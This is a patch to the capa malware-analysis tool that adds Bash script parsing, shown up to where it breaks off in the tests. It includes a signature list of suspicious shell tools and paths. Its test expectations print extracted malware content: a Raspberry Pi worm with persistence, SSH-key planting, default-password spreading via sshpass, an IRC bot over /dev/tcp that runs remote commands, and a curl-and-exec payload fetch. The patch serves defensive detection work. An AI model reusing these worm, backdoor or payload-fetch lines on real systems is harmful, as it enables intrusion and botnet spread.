From 97d0c668d1c0dce363a70d9f7b3a981225f03ac9 Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Sat, 15 Aug 2026 01:59:23 +0530 Subject: [PATCH 01/10] Add Bash support to script analysis --- capa/features/extractors/script.py | 3 + capa/features/extractors/ts/autodetect.py | 17 +- capa/features/extractors/ts/engine.py | 27 ++- capa/features/extractors/ts/function.py | 9 + capa/features/extractors/ts/query.py | 64 ++++++ .../features/extractors/ts/signatures/sh.json | 71 +++++++ capa/features/extractors/ts/tools.py | 29 ++- capa/helpers.py | 6 +- capa/rules/__init__.py | 2 +- pyproject.toml | 1 + requirements.txt | 1 + tests/fixtures/__init__.py | 50 ++++- tests/test_ts.py | 196 +++++++++++++++++- 13 files changed, 465 insertions(+), 11 deletions(-) create mode 100644 capa/features/extractors/ts/signatures/sh.json diff --git a/capa/features/extractors/script.py b/capa/features/extractors/script.py index 0d68ec49c5..7895feb6be 100644 --- a/capa/features/extractors/script.py +++ b/capa/features/extractors/script.py @@ -18,6 +18,7 @@ from capa.features.address import NO_ADDRESS, Address, FileOffsetRangeAddress # Can be used to instantiate tree_sitter Language objects (see ts/query.py) +LANG_BASH = "bash" LANG_CS = "c_sharp" LANG_HTML = "html" LANG_JS = "javascript" @@ -25,12 +26,14 @@ LANG_TEM = "embedded_template" EXT_ASPX = (".aspx", ".aspx_") +EXT_BASH = (".bash", ".sh", ".bash_", ".sh_") EXT_CS = (".cs", ".cs_") EXT_HTML = (".html", ".html_") EXT_PY = (".py", ".py_") LANGUAGE_FEATURE_FORMAT = { + LANG_BASH: "Bash", LANG_CS: "C#", LANG_HTML: "HTML", LANG_JS: "JavaScript", diff --git a/capa/features/extractors/ts/autodetect.py b/capa/features/extractors/ts/autodetect.py index 99dfa4fc02..d462ab21c7 100644 --- a/capa/features/extractors/ts/autodetect.py +++ b/capa/features/extractors/ts/autodetect.py @@ -17,7 +17,18 @@ from tree_sitter import Node, Tree, Query, Parser, Language, QueryCursor -from capa.features.extractors.script import EXT_CS, EXT_PY, LANG_CS, LANG_PY, EXT_ASPX, EXT_HTML, LANG_TEM, LANG_HTML +from capa.features.extractors.script import ( + EXT_CS, + EXT_PY, + LANG_CS, + LANG_PY, + EXT_ASPX, + EXT_BASH, + EXT_HTML, + LANG_TEM, + LANG_BASH, + LANG_HTML, +) from capa.features.extractors.ts.query import TS_LANGUAGES @@ -43,6 +54,8 @@ def _contains_errors(ts_language, node: Node) -> bool: def get_language_ts(buf: bytes) -> str: for language, ts_language in TS_LANGUAGES.items(): + if language == LANG_BASH: + continue tree = _parse(ts_language, buf) if tree and not _contains_errors(ts_language, tree.root_node): return language @@ -62,6 +75,8 @@ def get_template_language_ts(buf: bytes) -> str: def get_language_from_ext(path: str) -> str: if path.endswith(EXT_ASPX): return LANG_TEM + if path.endswith(EXT_BASH): + return LANG_BASH if path.endswith(EXT_CS): return LANG_CS if path.endswith(EXT_HTML): diff --git a/capa/features/extractors/ts/engine.py b/capa/features/extractors/ts/engine.py index a6e69c3b2e..f159741cd3 100644 --- a/capa/features/extractors/ts/engine.py +++ b/capa/features/extractors/ts/engine.py @@ -23,6 +23,7 @@ from capa.features.extractors.ts.query import ( BINDINGS, QueryBinding, + BashQueryBinding, HTMLQueryBinding, ScriptQueryBinding, TemplateQueryBinding, @@ -82,7 +83,7 @@ def get_captured_nodes(cursor: QueryCursor, node: Node) -> Iterator[Node]: class TreeSitterExtractorEngine(TreeSitterBaseEngine): - query: ScriptQueryBinding + query: ScriptQueryBinding | BashQueryBinding language_toolkit: LanguageToolkit buf_offset: int namespaces: set[BaseNamespace] @@ -108,16 +109,22 @@ def get_address(self, node: Node) -> FileOffsetRangeAddress: return FileOffsetRangeAddress(self.buf_offset + node.start_byte, self.buf_offset + node.end_byte) def get_new_object_names(self, node: Node) -> Iterator[Node]: + if not isinstance(self.query, ScriptQueryBinding): + return cursor = QueryCursor(self.query.new_object_name) yield from self.get_captured_nodes(cursor, node) def get_property_names(self, node: Node) -> Iterator[Node]: + if not isinstance(self.query, ScriptQueryBinding): + return cursor = QueryCursor(self.query.property_name) yield from self.get_captured_nodes(cursor, node) def get_processed_property_names(self, node: Node) -> Iterator[Tuple[Node, str]]: """Generates captured property name nodes and their associated proper names (see process_property for details), e.g.: [(node0, "StartInfo"), (node1, "RedirectStandardOutput")].""" + if not isinstance(self.query, ScriptQueryBinding): + return for pt_node in self.get_property_names(node): pt_name = self.language_toolkit.process_property(pt_node, self.get_str(pt_node)) if pt_name: @@ -142,12 +149,16 @@ def get_function_call_names(self, node: Node) -> Iterator[Node]: yield from self.get_captured_nodes(cursor, node) def get_imported_constants(self, node: Node) -> Iterator[Node]: + if not isinstance(self.query, ScriptQueryBinding): + return cursor = QueryCursor(self.query.imported_constant_name) yield from self.get_captured_nodes(cursor, node) def get_processed_imported_constants(self, node: Node) -> Iterator[Tuple[Node, str]]: """Generates captured imported constant nodes and their associated proper names (see process_imported_constant for details), e.g.: [(node0, "ssl.CERT_NONE"), (node1, "win32con.FILE_ATTRIBUTE_HIDDEN")].""" + if not isinstance(self.query, ScriptQueryBinding): + return for ic_node in self.get_imported_constants(node): ic_name = self.language_toolkit.process_imported_constant(ic_node, self.get_str(ic_node)) if ic_name: @@ -162,6 +173,9 @@ def get_integer_literals(self, node: Node) -> Iterator[Node]: yield from self.get_captured_nodes(cursor, node) def get_namespaces(self, node: Optional[Node] = None) -> List[Tuple[Node, str]]: + if not isinstance(self.query, ScriptQueryBinding): + return [] + target_node = self.tree.root_node if node is None else node cursor = QueryCursor(self.query.namespace) namespace_captures: List[Tuple[Node, str]] = [] @@ -173,6 +187,8 @@ def get_namespaces(self, node: Optional[Node] = None) -> List[Tuple[Node, str]]: return sorted(namespace_captures, key=self.get_node_capture_sort_key) def get_processed_namespaces(self, node: Optional[Node] = None) -> Iterator[BaseNamespace]: + if not isinstance(self.query, ScriptQueryBinding): + return for ns_node, query_name in self.get_namespaces(node): yield from self.language_toolkit.process_namespace(ns_node, query_name, self.get_str) @@ -181,6 +197,9 @@ def get_global_statements(self) -> Iterator[Node]: yield from self.get_captured_nodes(cursor, self.tree.root_node) def get_direct_method_call(self, node: Node) -> Optional[Node]: + if not isinstance(self.query, ScriptQueryBinding): + return None + cursor = QueryCursor(self.query.direct_method_call) captures = cursor.captures(node) for nodes in captures.values(): @@ -188,6 +207,12 @@ def get_direct_method_call(self, node: Node) -> Optional[Node]: return nodes[0] return None + def get_variable_names(self, node: Node) -> Iterator[Node]: + if not isinstance(self.query, BashQueryBinding): + return + cursor = QueryCursor(self.query.variable_name) + yield from self.get_captured_nodes(cursor, node) + class TreeSitterTemplateEngine(TreeSitterBaseEngine): query: TemplateQueryBinding diff --git a/capa/features/extractors/ts/function.py b/capa/features/extractors/ts/function.py index 44d10ea1e1..37729decdf 100644 --- a/capa/features/extractors/ts/function.py +++ b/capa/features/extractors/ts/function.py @@ -20,6 +20,7 @@ from capa.features.insn import API, Number, Property from capa.features.common import Class, String, Feature, Namespace from capa.features.address import Address +from capa.features.extractors.ts.query import BashQueryBinding from capa.features.extractors.ts.tools import BaseNamespace from capa.features.extractors.ts.engine import TreeSitterExtractorEngine from capa.features.extractors.base_extractor import FunctionHandle @@ -166,10 +167,18 @@ def _extract_function_calls( ) -> Iterator[Tuple[Feature, Address]]: for node in engine.get_function_call_names(fn_node): yield from _extract_static_methods(node, engine) + + if isinstance(engine.query, BashQueryBinding): + continue + yield from _extract_instance_methods(node, classes, engine) def extract_imports(fn_node: Node, engine: TreeSitterExtractorEngine) -> Iterator[Tuple[Feature, Address]]: + if isinstance(engine.query, BashQueryBinding): + yield from _extract_function_calls(fn_node, set(), engine) + return + classes = {engine.language_toolkit.create_namespace(cls) for cls in get_classes(fn_node, engine)} yield from _extract_classes(fn_node, engine) yield from _extract_constants(fn_node, engine) diff --git a/capa/features/extractors/ts/query.py b/capa/features/extractors/ts/query.py index 3d761c05eb..599696d0d9 100644 --- a/capa/features/extractors/ts/query.py +++ b/capa/features/extractors/ts/query.py @@ -14,6 +14,7 @@ from dataclasses import dataclass +import tree_sitter_bash import tree_sitter_html import tree_sitter_python import tree_sitter_c_sharp @@ -26,6 +27,7 @@ LANG_JS, LANG_PY, LANG_TEM, + LANG_BASH, LANG_HTML, ) @@ -63,7 +65,19 @@ class HTMLQueryBinding(QueryBinding): attribute: Query +@dataclass +class BashQueryBinding(QueryBinding): + function_definition: Query + function_definition_field_name: str + function_call_name: Query + string_literal: Query + integer_literal: Query + variable_name: Query + global_statement: Query + + TS_LANGUAGES: dict[str, Language] = { + LANG_BASH: Language(tree_sitter_bash.language()), LANG_CS: Language(tree_sitter_c_sharp.language()), LANG_PY: Language(tree_sitter_python.language()), LANG_JS: Language(tree_sitter_javascript.language()), @@ -87,6 +101,56 @@ def deserialize(language: str, binding: dict) -> dict: BINDINGS: dict[str, QueryBinding] = { + LANG_BASH: BashQueryBinding( + TS_LANGUAGES[LANG_BASH], + **deserialize( + LANG_BASH, + { + "query": { + # foo() { ... } + "function_definition": """ + (function_definition) @function-definition + """, + # echo, test, ls, cat + "function_call_name": """ + (command name: (command_name) @function-call) + """, + # $x + "variable_name": """ + (variable_name) @variable-name + """, + # "hi" or heredoc + "string_literal": """ + [ + (string) @string-literal + (raw_string) @string-literal + (heredoc_body) @string-literal + (heredoc_start) @string-literal + ] + """, + # 1 or 2>file + "integer_literal": """ + [ + (number) @integer-literal + (file_descriptor) @integer-literal + ] + """, + # global statements + "global_statement": """ + (program + [ + (command) @global-statement + (variable_assignment) @global-statement + (if_statement) @global-statement + ]) + """, + }, + "field_name": { + "function_definition": "name", + }, + }, + ), + ), LANG_CS: ScriptQueryBinding( TS_LANGUAGES[LANG_CS], **deserialize( diff --git a/capa/features/extractors/ts/signatures/sh.json b/capa/features/extractors/ts/signatures/sh.json new file mode 100644 index 0000000000..6b88af4c53 --- /dev/null +++ b/capa/features/extractors/ts/signatures/sh.json @@ -0,0 +1,71 @@ +{ + "classes": [], + "constructors": [], + "properties": [], + "constants": [ + "/dev/tcp/", + "/dev/udp/", + "/etc/shadow", + "BASH_ENV", + "LD_LIBRARY_PATH", + "LD_PRELOAD" + ], + "builtins": [ + ".", + "declare", + "eval", + "exec", + "source", + "trap", + "umask" + ], + "functions": [ + "apt-get", + "awk", + "base64", + "chattr", + "chmod", + "chown", + "chroot", + "crontab", + "curl", + "dd", + "env", + "fetch", + "iptables", + "killall", + "masscan", + "mkdir", + "mkfifo", + "mktemp", + "mount", + "nc", + "ncat", + "netcat", + "nohup", + "openssl", + "passwd", + "php", + "pkill", + "python", + "rm", + "rsync", + "scp", + "shred", + "sleep", + "socat", + "ssh", + "sshpass", + "su", + "sudo", + "swapoff", + "systemctl", + "tcpdump", + "usermod", + "wget", + "xattr", + "xxd", + "zmap", + "zsh" + ] +} diff --git a/capa/features/extractors/ts/tools.py b/capa/features/extractors/ts/tools.py index fb50d914ba..249dc7158a 100644 --- a/capa/features/extractors/ts/tools.py +++ b/capa/features/extractors/ts/tools.py @@ -21,7 +21,7 @@ from tree_sitter import Node import capa.features.extractors.ts.signatures -from capa.features.extractors.script import LANG_CS, LANG_PY +from capa.features.extractors.script import LANG_CS, LANG_PY, LANG_BASH @dataclass(frozen=True) @@ -214,6 +214,27 @@ def get_default_namespaces(self, embedded: bool) -> set[BaseNamespace]: raise NotImplementedError() +class BashToolkit(LanguageToolkit): + signature_file: str = "sh.json" + method_call_query_type: str = "command" + property_query_type: str = "variable_name" + string_delimiters: str = "\"'" + integer_prefixes: List[Tuple[Union[str, Tuple[str, ...]], int]] = [(("0x", "0X"), 16)] + integer_suffixes: Tuple[str, ...] = () + + def create_namespace(self, name: str) -> BaseNamespace: + raise NotImplementedError("Bash does not support namespaces") + + def process_namespace(self, node: Node, query_name: str, get_str: Callable) -> Iterator[BaseNamespace]: + yield from [] + + def get_default_namespaces(self, embedded: bool) -> set[BaseNamespace]: + return set() + + def format_imported_function(self, name: str) -> str: + return name + + class CSharpToolkit(LanguageToolkit): signature_file: str = "cs.json" method_call_query_type: str = "invocation_expression" @@ -294,4 +315,8 @@ def get_default_namespaces(self, embedded: bool) -> set[BaseNamespace]: return set() -LANGUAGE_TOOLKITS: dict[str, LanguageToolkit] = {LANG_CS: CSharpToolkit(), LANG_PY: PythonToolkit()} +LANGUAGE_TOOLKITS: dict[str, LanguageToolkit] = { + LANG_BASH: BashToolkit(), + LANG_CS: CSharpToolkit(), + LANG_PY: PythonToolkit(), +} diff --git a/capa/helpers.py b/capa/helpers.py index d82b65a0ce..97363dc570 100644 --- a/capa/helpers.py +++ b/capa/helpers.py @@ -59,7 +59,7 @@ FORMAT_BINEXPORT2, Format, ) -from capa.features.extractors.script import EXT_CS, EXT_PY, EXT_ASPX, EXT_HTML +from capa.features.extractors.script import EXT_CS, EXT_PY, EXT_ASPX, EXT_BASH, EXT_HTML EXTENSIONS_SHELLCODE_32 = (".sc32", ".raw32") EXTENSIONS_SHELLCODE_64 = (".sc64", ".raw64") @@ -71,7 +71,7 @@ EXTENSIONS_ELF = ".elf_" EXTENSIONS_FREEZE = ".frz" EXTENSIONS_BINJA_DB = ".bndb" -EXTENSIONS_SUPPORTED_SCRIPTS = EXT_ASPX + EXT_CS + EXT_HTML + EXT_PY +EXTENSIONS_SUPPORTED_SCRIPTS = EXT_ASPX + EXT_BASH + EXT_CS + EXT_HTML + EXT_PY logger = logging.getLogger("capa") @@ -237,6 +237,8 @@ def get_format_from_extension(sample: Path) -> str: format_ = FORMAT_FREEZE elif sample.name.endswith(EXTENSIONS_BINEXPORT2): format_ = FORMAT_BINEXPORT2 + elif sample.name.endswith(EXTENSIONS_ELF): + format_ = FORMAT_ELF elif sample.name.endswith(EXTENSIONS_BINJA_DB): format_ = FORMAT_BINJA_DB elif sample.name.endswith(EXTENSIONS_SUPPORTED_SCRIPTS): diff --git a/capa/rules/__init__.py b/capa/rules/__init__.py index b270237921..a33226f6aa 100644 --- a/capa/rules/__init__.py +++ b/capa/rules/__init__.py @@ -2281,7 +2281,7 @@ def _match(self, scope: Scope, features: FeatureSet, addr: Address) -> tuple[Fea if new_candidates: candidate_rule_names.update(new_candidates) - candidate_rules.extend([self.rules[rule_name] for rule_name in new_candidates]) + candidate_rules.extend([self.rules[rule_name] for rule_name in set(new_candidates)]) RuleSet._sort_rules_by_index(rule_index_by_rule_name, candidate_rules) candidate_rules.reverse() diff --git a/pyproject.toml b/pyproject.toml index 8e2a689dc7..096313e75d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -107,6 +107,7 @@ dependencies = [ "dnfile>=0.17.0", "tree-sitter>=0.25.0", + "tree-sitter-bash>=0.25.1", "tree-sitter-c-sharp>=0.23.0", "tree-sitter-embedded-template>=0.25.0", "tree-sitter-html>=0.23.0", diff --git a/requirements.txt b/requirements.txt index 8ec3ca168c..c785ba4945 100644 --- a/requirements.txt +++ b/requirements.txt @@ -48,6 +48,7 @@ vivisect==1.3.2 msgspec==0.21.1 bump-my-version==1.5.0 tree-sitter==0.25.2 +tree-sitter-bash==0.25.1 tree-sitter-c-sharp==0.23.1 tree-sitter-embedded-template==0.25.0 tree-sitter-html==0.23.2 diff --git a/tests/fixtures/__init__.py b/tests/fixtures/__init__.py index a2c799b51e..045194cdfa 100644 --- a/tests/fixtures/__init__.py +++ b/tests/fixtures/__init__.py @@ -14,11 +14,13 @@ import json import logging +import tempfile import functools import contextlib import collections from typing import Tuple, Union, Literal, Iterator, Optional from pathlib import Path +from zipfile import ZipFile from dataclasses import field, dataclass import pytest @@ -28,7 +30,7 @@ import capa.render.result_document from capa.features.common import OS_AUTO, FORMAT_AUTO, Feature from capa.features.address import Address -from capa.features.extractors.script import LANG_CS, LANG_PY +from capa.features.extractors.script import LANG_CS, LANG_PY, LANG_BASH from capa.features.extractors.base_extractor import ( BBHandle, CallHandle, @@ -48,6 +50,7 @@ DNFILE_TESTFILES = CD / "data" / "dotnet" / "dnfile-testfiles" SOURCE_DIR = CD / "data" / "source" ASPX_DIR = SOURCE_DIR / "aspx" +BASH_DIR = SOURCE_DIR / "sh" CS_DIR = SOURCE_DIR / "cs" PY_DIR = SOURCE_DIR / "py" @@ -447,6 +450,24 @@ def extract_instruction_features(extractor, fh, bbh, ih) -> dict[Feature, set[Ad return features +@contextlib.contextmanager +def extract_script_sample(path: Path): + if path.suffix != ".zip": + yield path + return + + with tempfile.TemporaryDirectory(prefix="capa-script-") as tmp: + tmp_dir = Path(tmp) + + with ZipFile(path, "r") as zf: + zf.extractall(tmp_dir) + + extracted = list(tmp_dir.iterdir()) + assert len(extracted) == 1 + + yield extracted[0] + + def get_process(extractor, ppid: int, pid: int) -> ProcessHandle: for ph in extractor.get_processes(): if ph.address.ppid == ppid and ph.address.pid == pid: @@ -883,6 +904,18 @@ def py_a4d252_template_engine(): return get_ts_extractor_engine(LANG_PY, PY_DATA_PATH_BY_NAME["py_a4d252"]) +@pytest.fixture +def sh_cff512_extractor_engine(): + with extract_script_sample(BASH_DATA_PATH_BY_NAME["sh_cff512"]) as sample: + return get_ts_extractor_engine(LANG_BASH, sample.read_bytes()) + + +@pytest.fixture +def sh_91800a_extractor_engine(): + with extract_script_sample(BASH_DATA_PATH_BY_NAME["sh_91800a"]) as sample: + return get_ts_extractor_engine(LANG_BASH, sample.read_bytes()) + + def resolve_sample_ts(sample): if sample.startswith("cs_"): return CS_DATA_PATH_BY_NAME[sample] @@ -893,6 +926,11 @@ def resolve_sample_ts(sample): return ASPX_DATA_PATH_BY_NAME[sample] except KeyError: raise ValueError(f"unexpected sample fixture: {sample}") + if sample.startswith("sh_"): + try: + return BASH_DATA_PATH_BY_NAME[sample] + except KeyError: + raise ValueError(f"unexpected sample fixture: {sample}") raise ValueError(f"unexpected sample fixture: {sample}") @@ -1185,11 +1223,11 @@ def get_ts_template_engine(path): return capa.features.extractors.ts.engine.TreeSitterTemplateEngine(buf) -@functools.lru_cache(maxsize=1) def get_ts_extractor(path): import capa.features.extractors.ts.extractor - return capa.features.extractors.ts.extractor.TreeSitterFeatureExtractor(path) + with extract_script_sample(path) as sample: + return capa.features.extractors.ts.extractor.TreeSitterFeatureExtractor(sample) ASPX_DATA_PATH_BY_NAME = { @@ -1226,3 +1264,9 @@ def get_ts_extractor(path): "py_a4d252": PY_DIR / "a4d252752d0558206b3f631fee3d57ae56190fb8203e571506fa058d076fbb96.py_", "py_bb68ae": PY_DIR / "bb68aefb6fc00983cf9ecb8ea0fc768ada674e2698c5878dc1b9f3fca8f3f359.py_", } + + +BASH_DATA_PATH_BY_NAME = { + "sh_91800a": BASH_DIR / "91800a2afbdc98837d6b23a6de2b5f2433fedcdae9330d0a5b2a776571a4fef6.sh_", + "sh_cff512": BASH_DIR / "cff512dd1c9f82e79a9cc5af5f0a096b20737548f8d1bdc1aebf5744ffc78f6b.sh_", +} diff --git a/tests/test_ts.py b/tests/test_ts.py index de653adbb1..41fffdcdc7 100644 --- a/tests/test_ts.py +++ b/tests/test_ts.py @@ -33,7 +33,15 @@ ScriptLanguage, ) from capa.features.address import FileOffsetRangeAddress -from capa.features.extractors.script import LANG_CS, LANG_JS, LANG_PY, LANG_TEM, LANG_HTML, LANGUAGE_FEATURE_FORMAT +from capa.features.extractors.script import ( + LANG_CS, + LANG_JS, + LANG_PY, + LANG_TEM, + LANG_BASH, + LANG_HTML, + LANGUAGE_FEATURE_FORMAT, +) from capa.features.extractors.ts.query import QueryBinding, HTMLQueryBinding, TemplateQueryBinding from capa.features.extractors.ts.tools import LANGUAGE_TOOLKITS from capa.features.extractors.ts.engine import ( @@ -178,6 +186,171 @@ def do_test_ts_extractor_engine_get_assigned_property_names( @parametrize( "engine_str,expected", [ + ( + "sh_91800a_extractor_engine", + { + "language": LANG_BASH, + "all objects": [], + "all function definitions": [ + ("log_and_run() {", "log_and_run"), + ("launch() {", "launch"), + ], + "all function calls": [ + ('echo "FATAL: This file is a static analysis fixture and must never be executed!" >&2', "echo"), + ("return 1 2>/dev/null || exit 1", "return"), + ("exit", "exit"), + ("trap 'rm -f \"$tmp\"' EXIT", "trap"), + ('eval "echo start"', "eval"), + ('curl "$url" -o "$tmp"', "curl"), + ('chmod 700 "$tmp"', "chmod"), + ("mkfifo /tmp/f", "mkfifo"), + ('exec bash "$tmp"', "exec"), + ("test -f /etc/shadow", "test"), + ("log_and_run", "log_and_run"), + ], + "all string literals": [ + '"FATAL: This file is a static analysis fixture and must never be executed!"', + '"/tmp/.cache"', + '"http://example.com/payload"', + "'rm -f \"$tmp\"'", + '"echo start"', + '"$url"', + '"$tmp"', + '"$tmp"', + '"$tmp"', + ], + "all integer literals": [ + "2", + "1", + "2", + "1", + "3", + "700", + ], + "namespaces": [], + "global statements": [ + 'tmp="/tmp/.cache"', + "count=3", + "if test -f /etc/shadow; then\n log_and_run\nfi", + ], + "properties": [], + }, + ), + ( + "sh_cff512_extractor_engine", + { + "language": LANG_BASH, + "all objects": [], + "all function definitions": [], + "all function calls": [ + ('echo "FATAL: This file is a static analysis fixture and must never be executed!" >&2', "echo"), + ("return 1 2>/dev/null || exit 1", "return"), + ("exit", "exit"), + ("realpath", "realpath"), + ("echo $MYSELF >> $DEBUG", "echo"), + ("mktemp -u 'XXXXXXXX'", "mktemp"), + ("sudo cp $MYSELF /opt/$NEWMYSELF", "sudo"), + ("sudo sh -c \"echo '#!/bin/sh -e' > /etc/rc.local\"", "sudo"), + ('sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"', "sudo"), + ("sudo sh -c \"echo 'exit 0' >> /etc/rc.local\"", "sudo"), + ("sleep 1", "sleep"), + ("sudo reboot", "sudo"), + ("mktemp", "mktemp"), + ("echo $TMP1 >> $DEBUG", "echo"), + ("killall bins.sh", "killall"), + ("killall minerd", "killall"), + ("killall node", "killall"), + ("killall nodejs", "killall"), + ("killall ktx-armv4l", "killall"), + ("killall ktx-i586", "killall"), + ("killall ktx-m68k", "killall"), + ("killall ktx-mips", "killall"), + ("killall ktx-mipsel", "killall"), + ("killall ktx-powerpc", "killall"), + ("killall ktx-sh4", "killall"), + ("killall ktx-sparc", "killall"), + ("killall arm5", "killall"), + ("killall zmap", "killall"), + ("killall kaiten", "killall"), + ("killall perl", "killall"), + ('echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts', "echo"), + ("rm -rf /root/.bashrc", "rm"), + ("rm -rf /home/pi/.bashrc", "rm"), + ("usermod -p ... pi", "usermod"), + ("mkdir -p /root/.ssh", "mkdir"), + ('echo "ssh-rsa ..."', "echo"), + ('echo "nameserver 8.8.8.8" >> /etc/resolv.conf', "echo"), + ("rm -rf /tmp/ktx*", "rm"), + ("rm -rf /tmp/cpuminer-multi", "rm"), + ("rm -rf /var/tmp/kaiten", "rm"), + ("cat > /tmp/public.pem < /tmp/$BOT <<'EOFMARKER'", "cat"), + ("chmod +x /tmp/$BOT", "chmod"), + ("nohup /tmp/$BOT 2>&1 > /tmp/bot.log &", "nohup"), + ("rm /tmp/nohup.log -rf", "rm"), + ("rm -rf nohup.out", "rm"), + ("sleep 3", "sleep"), + ("rm -rf /tmp/$BOT", "rm"), + ("mktemp -u 'XXXXXXXX'", "mktemp"), + ("date > /tmp/.s", "date"), + ("apt-get update -y --force-yes", "apt-get"), + ("apt-get install zmap sshpass -y --force-yes", "apt-get"), + ("mktemp", "mktemp"), + ("zmap -p 22 -o $FILE -n 100000", "zmap"), + ("killall ssh", "killall"), + ("cat $FILE", "cat"), + ("sshpass -praspberry scp ...", "sshpass"), + ("echo $IP >> /opt/.r", "echo"), + ("sshpass -praspberry ssh ...", "sshpass"), + ("sshpass -praspberryraspberry993311 scp ...", "sshpass"), + ("echo $IP >> /opt/.r", "echo"), + ("sshpass -praspberryraspberry993311 ssh ...", "sshpass"), + ("rm -rf $FILE", "rm"), + ("sleep 10", "sleep"), + ], + "all string literals": [ + '"FATAL: This file is a static analysis fixture and must never be executed!"', + '"$EUID"', + "'XXXXXXXX'", + "\"echo '#!/bin/sh -e' > /etc/rc.local\"", + '"echo /opt/$NEWMYSELF >> /etc/rc.local"', + "\"echo 'exit 0' >> /etc/rc.local\"", + '"127.0.0.1 bins.deutschland-zahlung.eu"', + '"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"', + '"nameserver 8.8.8.8"', + "EOFMARKER", + "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs\nglv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW\nrXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF\nWRq+Z8HYMvPlgSRA3wIDAQAB\n-----END PUBLIC KEY-----\n", + "'XXXXXXXX'", + "'EOFMARKER'", + '#!/bin/bash\n\nSYS=`uname -a | md5sum | awk -F\' \' \'{print $1}\'`\nNICK=a${SYS:24}\nwhile [ true ]; do\n\n\tarr[0]="ix1.undernet.org"\n\tarr[1]="ix2.undernet.org"\n\tarr[2]="Ashburn.Va.Us.UnderNet.org"\n\tarr[3]="Bucharest.RO.EU.Undernet.Org"\n\tarr[4]="Budapest.HU.EU.UnderNet.org"\n\tarr[5]="Chicago.IL.US.Undernet.org"\n\trand=$[$RANDOM % 6]\n\tsvr=${arr[$rand]}\n\n\teval \'exec 3<>/dev/tcp/$svr/6667;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tcontinue\n\tfi\n\n\techo $NICK\n\n\teval \'printf "NICK $NICK\\r\\n" >&3;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tcontinue\n\tfi\n\teval \'printf "USER user 8 * :IRC hi\\r\\n" >&3;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\tcontinue\n\tfi\n\n\t# Main loop\n\twhile [ true ]; do\n\t\teval "read msg_in <&3;"\n\n\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tbreak\n\t\tfi\n\n\t\tif [[ "$msg_in" =~ "PING" ]] ; then\n\t\t\tprintf "PONG %s\\n" "${msg_in:5}";\n\t\t\teval \'printf "PONG %s\\r\\n" "${msg_in:5}" >&3;\'\n\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\tbreak\n\t\t\tfi\n\t\t\tsleep 1\n\t\t\teval \'printf "JOIN #biret\\r\\n" >&3;\'\n\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\tbreak\n\t\t\tfi\n\t\telif [[ "$msg_in" =~ "PRIVMSG" ]] ; then\n\t\t\tprivmsg_h=$(echo $msg_in| cut -d\':\' -f 3)\n\t\t\tprivmsg_data=$(echo $msg_in| cut -d\':\' -f 4)\n\t\t\tprivmsg_nick=$(echo $msg_in| cut -d\':\' -f 2 | cut -d\'!\' -f 1)\n\n\t\t\thash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F\' \' \'{print $1}\'`\n\t\t\tsign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`\n\n\t\t\tif [[ "$sign" == "$hash" ]] ; then\n\t\t\t\tCMD=`echo $privmsg_data | base64 -d -i`\n\t\t\t\tRES=`bash -c "$CMD" | base64 -w 0`\n\t\t\t\teval \'printf "PRIVMSG $privmsg_nick :$RES\\r\\n" >&3;\'\n\t\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\t\tbreak\n\t\t\t\tfi\n\t\t\tfi\n\t\tfi\n\tdone\ndone\n', + "'XXXXXXXX'", + '"cd /tmp && chmod +x $NAME && bash -c ./$NAME"', + '"cd /tmp && chmod +x $NAME && bash -c ./$NAME"', + ], + "all integer literals": [ + "2", + "1", + "2", + "1", + "0", + "1", + "2", + "1", + "3", + "22", + "100000", + "10", + ], + "namespaces": [], + "global statements": [ + "MYSELF=`realpath $0`", + "DEBUG=/dev/null", + 'if [ "$EUID" -ne 0 ]\nthen ', + ], + "properties": [], + }, + ), ( "cs_138cdc_extractor_engine", { @@ -1169,6 +1342,27 @@ def do_test_ts_html_engine_init(engine: TreeSitterHTMLEngine): ("aspx_15eed4", "global", Arch(ARCH_ANY), True), ("aspx_b75f16", "global", Arch(ARCH_ANY), True), ("aspx_d460ca", "global", Arch(ARCH_ANY), True), + ("sh_91800a", "global", Arch(ARCH_ANY), True), + ("sh_91800a", "global", OS(OS_ANY), True), + ("sh_91800a", "global", ScriptLanguage(LANGUAGE_FEATURE_FORMAT[LANG_BASH]), True), + ("sh_91800a", "file", Format(FORMAT_SCRIPT), True), + ("sh_91800a", "function=log_and_run", API("builtins.trap"), True), + ("sh_91800a", "function=log_and_run", API("builtins.eval"), True), + ("sh_91800a", "function=log_and_run", API("curl"), True), + ("sh_91800a", "function=log_and_run", API("chmod"), True), + ("sh_91800a", "function=log_and_run", String("echo start"), True), + ("sh_91800a", "function=log_and_run", Number(700), True), + ("sh_91800a", "function=launch", API("mkfifo"), True), + ("sh_91800a", "function=launch", API("builtins.exec"), True), + ("sh_91800a", 